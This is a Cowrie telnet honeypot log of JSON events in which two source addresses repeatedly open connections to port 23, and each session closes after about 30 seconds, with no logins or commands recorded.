{"eventid":"cowrie.session.closed","duration":30.63469958305359,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.051468Z","src_ip":"208.115.200.90","session":"d9087c2534a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36536,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e4ec2ddf17","protocol":"telnet","message":"New connection: 208.115.200.90:36536 (10.17.0.5:23) [session: 32e4ec2ddf17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.058871Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36546,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31b1874a198","protocol":"telnet","message":"New connection: 208.115.200.90:36546 (10.17.0.5:23) [session: c31b1874a198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.080671Z"}
{"eventid":"cowrie.session.closed","duration":30.81529974937439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.089465Z","src_ip":"208.115.219.122","session":"6dee13e3a516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54566,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6dee3e76b12","protocol":"telnet","message":"New connection: 208.115.219.122:54566 (10.17.0.5:23) [session: e6dee3e76b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.093999Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54588,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4a972bee3f4","protocol":"telnet","message":"New connection: 208.115.219.122:54588 (10.17.0.5:23) [session: c4a972bee3f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.144608Z"}
{"eventid":"cowrie.session.closed","duration":30.331466913223267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.184717Z","src_ip":"208.115.200.90","session":"8ab298ed9d89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54630,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dee5b24afbe","protocol":"telnet","message":"New connection: 208.115.219.122:54630 (10.17.0.5:23) [session: 7dee5b24afbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.309318Z"}
{"eventid":"cowrie.session.closed","duration":30.63809037208557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.329434Z","src_ip":"208.115.200.90","session":"a32e427fd9e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876855611801147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.390712Z","src_ip":"208.115.219.122","session":"0b627da2fc3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":36908,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f4dc5723a0","protocol":"telnet","message":"New connection: 208.115.200.90:36908 (10.17.0.5:23) [session: b2f4dc5723a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.525624Z"}
{"eventid":"cowrie.session.closed","duration":31.363597869873047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.692050Z","src_ip":"208.115.219.122","session":"4a86bf45f2a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.583852529525757,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.770116Z","src_ip":"208.115.200.90","session":"ff4968c84e0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":37838,"dst_ip":"10.17.0.5","dst_port":23,"session":"80723a0bfcdf","protocol":"telnet","message":"New connection: 208.115.200.90:37838 (10.17.0.5:23) [session: 80723a0bfcdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:46.940456Z"}
{"eventid":"cowrie.session.closed","duration":30.98775005340576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.027457Z","src_ip":"208.115.219.122","session":"8bde3e233286","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38004,"dst_ip":"10.17.0.5","dst_port":23,"session":"235bb3853598","protocol":"telnet","message":"New connection: 208.115.200.90:38004 (10.17.0.5:23) [session: 235bb3853598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.033476Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":54736,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d00c3f8f520","protocol":"telnet","message":"New connection: 208.115.219.122:54736 (10.17.0.5:23) [session: 0d00c3f8f520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.048663Z"}
{"eventid":"cowrie.session.closed","duration":30.517676830291748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.059371Z","src_ip":"208.115.219.122","session":"95b503f664f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06995987892151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.097161Z","src_ip":"208.115.200.90","session":"84c8c30c57e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38062,"dst_ip":"10.17.0.5","dst_port":23,"session":"974a828a3063","protocol":"telnet","message":"New connection: 208.115.200.90:38062 (10.17.0.5:23) [session: 974a828a3063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.141230Z"}
{"eventid":"cowrie.session.closed","duration":31.038392305374146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.174125Z","src_ip":"208.115.200.90","session":"18b248026610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.681586027145386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.312373Z","src_ip":"208.115.200.90","session":"79e0b28a9d42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38270,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac994d19649","protocol":"telnet","message":"New connection: 208.115.200.90:38270 (10.17.0.5:23) [session: fac994d19649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.408442Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38274,"dst_ip":"10.17.0.5","dst_port":23,"session":"94ba25c7f926","protocol":"telnet","message":"New connection: 208.115.200.90:38274 (10.17.0.5:23) [session: 94ba25c7f926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.415150Z"}
{"eventid":"cowrie.session.closed","duration":31.175135850906372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.428806Z","src_ip":"208.115.200.90","session":"3efedf546a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30875563621521,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.438353Z","src_ip":"208.115.219.122","session":"2bb7cc6916c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25817322731018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.484450Z","src_ip":"208.115.219.122","session":"0bd6da3ff538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55104,"dst_ip":"10.17.0.5","dst_port":23,"session":"7787df458b85","protocol":"telnet","message":"New connection: 208.115.219.122:55104 (10.17.0.5:23) [session: 7787df458b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.558722Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":38946,"dst_ip":"10.17.0.5","dst_port":23,"session":"65f1a89bb86f","protocol":"telnet","message":"New connection: 208.115.200.90:38946 (10.17.0.5:23) [session: 65f1a89bb86f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:47.726213Z"}
{"eventid":"cowrie.session.closed","duration":30.928686380386353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.017257Z","src_ip":"208.115.219.122","session":"4741e399c639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39602,"dst_ip":"10.17.0.5","dst_port":23,"session":"b13a2ad38a9c","protocol":"telnet","message":"New connection: 208.115.200.90:39602 (10.17.0.5:23) [session: b13a2ad38a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.028623Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55548,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f201ca27b21","protocol":"telnet","message":"New connection: 208.115.219.122:55548 (10.17.0.5:23) [session: 4f201ca27b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.036503Z"}
{"eventid":"cowrie.session.closed","duration":30.634683847427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.043070Z","src_ip":"208.115.200.90","session":"2b2696b8731f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91862154006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.052021Z","src_ip":"208.115.219.122","session":"be9e6073f7a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55572,"dst_ip":"10.17.0.5","dst_port":23,"session":"57dfff3cb3e7","protocol":"telnet","message":"New connection: 208.115.219.122:55572 (10.17.0.5:23) [session: 57dfff3cb3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.068349Z"}
{"eventid":"cowrie.session.closed","duration":30.4081974029541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.126495Z","src_ip":"208.115.219.122","session":"cf08a6bc7b45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c19e38159a2","protocol":"telnet","message":"New connection: 208.115.219.122:55626 (10.17.0.5:23) [session: 8c19e38159a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.173607Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":55664,"dst_ip":"10.17.0.5","dst_port":23,"session":"459acefaac43","protocol":"telnet","message":"New connection: 208.115.219.122:55664 (10.17.0.5:23) [session: 459acefaac43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.231910Z"}
{"eventid":"cowrie.session.closed","duration":31.294874906539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.327386Z","src_ip":"208.115.219.122","session":"425dbedd945c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798778295516968,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:48.351697Z","src_ip":"208.115.200.90","session":"0e643373a7c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904934406280518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.020534Z","src_ip":"208.115.219.122","session":"e05b89a8967e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888487815856934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.063154Z","src_ip":"208.115.219.122","session":"d29a777d2d00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0175564289093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.241868Z","src_ip":"208.115.219.122","session":"e9ae9225b8af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38715362548828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.283870Z","src_ip":"208.115.219.122","session":"347a860fd553","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41208,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce97a6a1bb77","protocol":"telnet","message":"New connection: 208.115.200.90:41208 (10.17.0.5:23) [session: ce97a6a1bb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.507166Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56308,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0c5ba0469b9","protocol":"telnet","message":"New connection: 208.115.219.122:56308 (10.17.0.5:23) [session: a0c5ba0469b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.537473Z"}
{"eventid":"cowrie.session.closed","duration":31.481311321258545,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.639032Z","src_ip":"208.115.200.90","session":"2cf2059f4f17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63443422317505,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.805058Z","src_ip":"208.115.219.122","session":"2ee29feece9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41694,"dst_ip":"10.17.0.5","dst_port":23,"session":"86ab8829cb60","protocol":"telnet","message":"New connection: 208.115.200.90:41694 (10.17.0.5:23) [session: 86ab8829cb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:49.809070Z"}
{"eventid":"cowrie.session.closed","duration":30.955524444580078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.025373Z","src_ip":"208.115.219.122","session":"8731cc7080ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65010404586792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.047373Z","src_ip":"208.115.219.122","session":"9542703b8161","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e81f4246bbc6","protocol":"telnet","message":"New connection: 208.115.219.122:56312 (10.17.0.5:23) [session: e81f4246bbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.065715Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56320,"dst_ip":"10.17.0.5","dst_port":23,"session":"efe5ae1bf5a7","protocol":"telnet","message":"New connection: 208.115.219.122:56320 (10.17.0.5:23) [session: efe5ae1bf5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.138027Z"}
{"eventid":"cowrie.session.closed","duration":30.583104372024536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.145958Z","src_ip":"208.115.200.90","session":"537f27b1a9d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.55761957168579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.164427Z","src_ip":"208.115.200.90","session":"98af8257019a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":41998,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8db74f7927","protocol":"telnet","message":"New connection: 208.115.200.90:41998 (10.17.0.5:23) [session: 5b8db74f7927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.212752Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"03e168ccd79c","protocol":"telnet","message":"New connection: 208.115.200.90:42018 (10.17.0.5:23) [session: 03e168ccd79c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.349117Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42032,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b0a62bb347","protocol":"telnet","message":"New connection: 208.115.200.90:42032 (10.17.0.5:23) [session: 75b0a62bb347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.394184Z"}
{"eventid":"cowrie.session.closed","duration":31.38584303855896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.404850Z","src_ip":"208.115.219.122","session":"8416326219bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.592819452285767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.411900Z","src_ip":"208.115.200.90","session":"9d0e92fc388b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42112,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba2c0ce2ccf3","protocol":"telnet","message":"New connection: 208.115.200.90:42112 (10.17.0.5:23) [session: ba2c0ce2ccf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.521896Z"}
{"eventid":"cowrie.session.closed","duration":31.51106023788452,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.566186Z","src_ip":"208.115.219.122","session":"8305e8a469fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188652276992798,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:50.937648Z","src_ip":"208.115.219.122","session":"2b359ab8fe52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.254576444625854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.020355Z","src_ip":"208.115.219.122","session":"47a947408fdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94655990600586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.029761Z","src_ip":"208.115.219.122","session":"2abf53e48fcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.544951915740967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.036521Z","src_ip":"208.115.219.122","session":"0570f02e5d29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.992531776428223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.041207Z","src_ip":"208.115.219.122","session":"82f3ae768f69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.662713766098022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.056711Z","src_ip":"208.115.219.122","session":"bf07772519c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.774348497390747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.065968Z","src_ip":"208.115.219.122","session":"05c379cefc12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56618,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9d79411167b","protocol":"telnet","message":"New connection: 208.115.219.122:56618 (10.17.0.5:23) [session: f9d79411167b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.072535Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56628,"dst_ip":"10.17.0.5","dst_port":23,"session":"6222ccfe0a12","protocol":"telnet","message":"New connection: 208.115.219.122:56628 (10.17.0.5:23) [session: 6222ccfe0a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.107240Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56630,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f117fe3656","protocol":"telnet","message":"New connection: 208.115.219.122:56630 (10.17.0.5:23) [session: b2f117fe3656]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.195626Z"}
{"eventid":"cowrie.session.closed","duration":30.928208351135254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.239497Z","src_ip":"208.115.200.90","session":"1514f5a4da13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64580273628235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.417893Z","src_ip":"208.115.200.90","session":"68ee1481071d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39351773262024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.422937Z","src_ip":"208.115.200.90","session":"d36c635d227c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56732,"dst_ip":"10.17.0.5","dst_port":23,"session":"56113b617036","protocol":"telnet","message":"New connection: 208.115.219.122:56732 (10.17.0.5:23) [session: 56113b617036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.426959Z"}
{"eventid":"cowrie.session.closed","duration":31.4250066280365,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.446603Z","src_ip":"208.115.219.122","session":"73897ab302cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.432623863220215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.469140Z","src_ip":"208.115.200.90","session":"f2b709825f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":43132,"dst_ip":"10.17.0.5","dst_port":23,"session":"1728ca32f482","protocol":"telnet","message":"New connection: 208.115.200.90:43132 (10.17.0.5:23) [session: 1728ca32f482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.745272Z"}
{"eventid":"cowrie.session.closed","duration":31.389137029647827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.835454Z","src_ip":"208.115.200.90","session":"04abd83265a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.031946659088135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:51.891172Z","src_ip":"208.115.200.90","session":"499a428623a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313305377960205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.015428Z","src_ip":"208.115.200.90","session":"5730c389d8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84200668334961,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.022660Z","src_ip":"208.115.219.122","session":"2f868c590cab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":56986,"dst_ip":"10.17.0.5","dst_port":23,"session":"40830dcf0b01","protocol":"telnet","message":"New connection: 208.115.219.122:56986 (10.17.0.5:23) [session: 40830dcf0b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:52.028984Z"}
